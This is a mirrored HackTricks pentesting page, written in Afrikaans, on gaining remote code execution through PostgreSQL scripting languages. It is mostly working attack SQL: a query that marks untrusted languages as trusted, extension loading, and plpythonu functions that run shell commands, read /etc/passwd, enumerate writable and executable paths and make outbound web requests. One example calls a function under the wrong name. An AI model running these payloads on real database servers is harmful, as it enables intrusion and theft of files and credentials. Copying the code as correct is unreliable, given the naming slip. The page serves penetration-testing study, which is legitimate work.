mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
303 lines
6.6 KiB
Markdown
303 lines
6.6 KiB
Markdown
# RCE met PostgreSQL Tale
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|
|
|
|
## PostgreSQL Tale
|
|
|
|
Die PostgreSQL-databasis waartoe jy toegang het, mag verskillende **skripting tale geïnstalleer** hê wat jy kan misbruik om **arbitraire kode** uit te voer.
|
|
|
|
Jy kan **hulle aan die gang kry**:
|
|
```sql
|
|
\dL *
|
|
|
|
SELECT lanname,lanpltrusted,lanacl FROM pg_language;
|
|
```
|
|
Die meeste van die skripting tale wat jy in PostgreSQL kan installeer het **2 variasies**: die **vertroude** en die **onvertroude**. Die **onvertroude** sal 'n naam hê wat **eindig op "u"** en sal die weergawe wees wat jou toelaat om **kode** uit te voer en ander interessante funksies te gebruik. Dit is tale wat, indien geïnstalleer, interessant is:
|
|
|
|
- **plpythonu**
|
|
- **plpython3u**
|
|
- **plperlu**
|
|
- **pljavaU**
|
|
- **plrubyu**
|
|
- ... (enige ander programmeertaal wat 'n onveilige weergawe gebruik)
|
|
|
|
> [!WARNING]
|
|
> As jy vind dat 'n interessante taal **geïnstalleer** is maar **onvertroude** deur PostgreSQL (**`lanpltrusted`** is **`false`**) kan jy probeer om dit **te vertrou** met die volgende lyn sodat geen beperkings deur PostgreSQL toegepas sal word nie:
|
|
>
|
|
> ```sql
|
|
> UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
|
|
> # Om jou regte oor die tabel pg_language te kontroleer
|
|
> SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';
|
|
> ```
|
|
|
|
> [!CAUTION]
|
|
> As jy nie 'n taal sien nie, kan jy probeer om dit te laai met (**jy moet superadmin wees**):
|
|
>
|
|
> ```
|
|
> CREATE EXTENSION plpythonu;
|
|
> CREATE EXTENSION plpython3u;
|
|
> CREATE EXTENSION plperlu;
|
|
> CREATE EXTENSION pljavaU;
|
|
> CREATE EXTENSION plrubyu;
|
|
> ```
|
|
|
|
Let daarop dat dit moontlik is om die veilige weergawes as "onveilig" te kompileer. Kyk na [**hierdie**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html) byvoorbeeld. Dit is altyd die moeite werd om te probeer of jy kode kan uitvoer selfs al vind jy net die **vertroude** een geïnstalleer.
|
|
|
|
## plpythonu/plpython3u
|
|
|
|
{{#tabs}}
|
|
{{#tab name="RCE"}}
|
|
```sql
|
|
CREATE OR REPLACE FUNCTION exec (cmd text)
|
|
RETURNS VARCHAR(65535) stable
|
|
AS $$
|
|
import os
|
|
return os.popen(cmd).read()
|
|
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
|
|
$$
|
|
LANGUAGE 'plpythonu';
|
|
|
|
SELECT cmd("ls"); #RCE with popen or execve
|
|
```
|
|
{{#endtab}}
|
|
|
|
{{#tab name="Kry OS gebruiker"}}
|
|
```sql
|
|
CREATE OR REPLACE FUNCTION get_user (pkg text)
|
|
RETURNS VARCHAR(65535) stable
|
|
AS $$
|
|
import os
|
|
return os.getlogin()
|
|
$$
|
|
LANGUAGE 'plpythonu';
|
|
|
|
SELECT get_user(""); #Get user, para is useless
|
|
```
|
|
{{#endtab}}
|
|
|
|
{{#tab name="Lys gids"}}
|
|
```sql
|
|
CREATE OR REPLACE FUNCTION lsdir (dir text)
|
|
RETURNS VARCHAR(65535) stable
|
|
AS $$
|
|
import json
|
|
from os import walk
|
|
files = next(walk(dir), (None, None, []))
|
|
return json.dumps({"root": files[0], "dirs": files[1], "files": files[2]})[:65535]
|
|
$$
|
|
LANGUAGE 'plpythonu';
|
|
|
|
SELECT lsdir("/"); #List dir
|
|
```
|
|
{{#endtab}}
|
|
|
|
{{#tab name="Vind W gids"}}
|
|
```sql
|
|
CREATE OR REPLACE FUNCTION findw (dir text)
|
|
RETURNS VARCHAR(65535) stable
|
|
AS $$
|
|
import os
|
|
def my_find(path):
|
|
writables = []
|
|
def find_writable(path):
|
|
if not os.path.isdir(path):
|
|
return
|
|
if os.access(path, os.W_OK):
|
|
writables.append(path)
|
|
if not os.listdir(path):
|
|
return
|
|
else:
|
|
for item in os.listdir(path):
|
|
find_writable(os.path.join(path, item))
|
|
find_writable(path)
|
|
return writables
|
|
|
|
return ", ".join(my_find(dir))
|
|
$$
|
|
LANGUAGE 'plpythonu';
|
|
|
|
SELECT findw("/"); #Find Writable folders from a folder (recursively)
|
|
```
|
|
{{#endtab}}
|
|
|
|
{{#tab name="Vind Lêer"}}
|
|
```sql
|
|
CREATE OR REPLACE FUNCTION find_file (exe_sea text)
|
|
RETURNS VARCHAR(65535) stable
|
|
AS $$
|
|
import os
|
|
def my_find(path):
|
|
executables = []
|
|
def find_executables(path):
|
|
if not os.path.isdir(path):
|
|
executables.append(path)
|
|
|
|
if os.path.isdir(path):
|
|
if not os.listdir(path):
|
|
return
|
|
else:
|
|
for item in os.listdir(path):
|
|
find_executables(os.path.join(path, item))
|
|
find_executables(path)
|
|
return executables
|
|
|
|
a = my_find("/")
|
|
b = []
|
|
|
|
for i in a:
|
|
if exe_sea in os.path.basename(i):
|
|
b.append(i)
|
|
return ", ".join(b)
|
|
$$
|
|
LANGUAGE 'plpythonu';
|
|
|
|
SELECT find_file("psql"); #Find a file
|
|
```
|
|
{{#endtab}}
|
|
|
|
{{#tab name="Vind uitvoerbare lêers"}}
|
|
```sql
|
|
CREATE OR REPLACE FUNCTION findx (dir text)
|
|
RETURNS VARCHAR(65535) stable
|
|
AS $$
|
|
import os
|
|
def my_find(path):
|
|
executables = []
|
|
def find_executables(path):
|
|
if not os.path.isdir(path) and os.access(path, os.X_OK):
|
|
executables.append(path)
|
|
|
|
if os.path.isdir(path):
|
|
if not os.listdir(path):
|
|
return
|
|
else:
|
|
for item in os.listdir(path):
|
|
find_executables(os.path.join(path, item))
|
|
find_executables(path)
|
|
return executables
|
|
|
|
a = my_find(dir)
|
|
b = []
|
|
|
|
for i in a:
|
|
b.append(os.path.basename(i))
|
|
return ", ".join(b)
|
|
$$
|
|
LANGUAGE 'plpythonu';
|
|
|
|
SELECT findx("/"); #Find an executables in folder (recursively)
|
|
```
|
|
{{#endtab}}
|
|
|
|
{{#tab name="Vind exec deur subs"}}
|
|
```sql
|
|
CREATE OR REPLACE FUNCTION find_exe (exe_sea text)
|
|
RETURNS VARCHAR(65535) stable
|
|
AS $$
|
|
import os
|
|
def my_find(path):
|
|
executables = []
|
|
def find_executables(path):
|
|
if not os.path.isdir(path) and os.access(path, os.X_OK):
|
|
executables.append(path)
|
|
|
|
if os.path.isdir(path):
|
|
if not os.listdir(path):
|
|
return
|
|
else:
|
|
for item in os.listdir(path):
|
|
find_executables(os.path.join(path, item))
|
|
find_executables(path)
|
|
return executables
|
|
|
|
a = my_find("/")
|
|
b = []
|
|
|
|
for i in a:
|
|
if exe_sea in i:
|
|
b.append(i)
|
|
return ", ".join(b)
|
|
$$
|
|
LANGUAGE 'plpythonu';
|
|
|
|
SELECT find_exe("psql"); #Find executable by susbstring
|
|
```
|
|
{{#endtab}}
|
|
|
|
{{#tab name="Lees"}}
|
|
```sql
|
|
CREATE OR REPLACE FUNCTION read (path text)
|
|
RETURNS VARCHAR(65535) stable
|
|
AS $$
|
|
import base64
|
|
encoded_string= base64.b64encode(open(path).read())
|
|
return encoded_string.decode('utf-8')
|
|
return open(path).read()
|
|
$$
|
|
LANGUAGE 'plpythonu';
|
|
|
|
select read('/etc/passwd'); #Read a file in b64
|
|
```
|
|
{{#endtab}}
|
|
|
|
{{#tab name="Kry regte"}}
|
|
```sql
|
|
CREATE OR REPLACE FUNCTION get_perms (path text)
|
|
RETURNS VARCHAR(65535) stable
|
|
AS $$
|
|
import os
|
|
status = os.stat(path)
|
|
perms = oct(status.st_mode)[-3:]
|
|
return str(perms)
|
|
$$
|
|
LANGUAGE 'plpythonu';
|
|
|
|
select get_perms("/etc/passwd"); # Get perms of file
|
|
```
|
|
{{#endtab}}
|
|
|
|
{{#tab name="Versoek"}}
|
|
```sql
|
|
CREATE OR REPLACE FUNCTION req2 (url text)
|
|
RETURNS VARCHAR(65535) stable
|
|
AS $$
|
|
import urllib
|
|
r = urllib.urlopen(url)
|
|
return r.read()
|
|
$$
|
|
LANGUAGE 'plpythonu';
|
|
|
|
SELECT req2('https://google.com'); #Request using python2
|
|
|
|
CREATE OR REPLACE FUNCTION req3 (url text)
|
|
RETURNS VARCHAR(65535) stable
|
|
AS $$
|
|
from urllib import request
|
|
r = request.urlopen(url)
|
|
return r.read()
|
|
$$
|
|
LANGUAGE 'plpythonu';
|
|
|
|
SELECT req3('https://google.com'); #Request using python3
|
|
```
|
|
{{#endtab}}
|
|
{{#endtabs}}
|
|
|
|
## pgSQL
|
|
|
|
Kyk na die volgende bladsy:
|
|
|
|
{{#ref}}
|
|
pl-pgsql-password-bruteforce.md
|
|
{{#endref}}
|
|
|
|
## C
|
|
|
|
Kyk na die volgende bladsy:
|
|
|
|
{{#ref}}
|
|
rce-with-postgresql-extensions.md
|
|
{{#endref}}
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|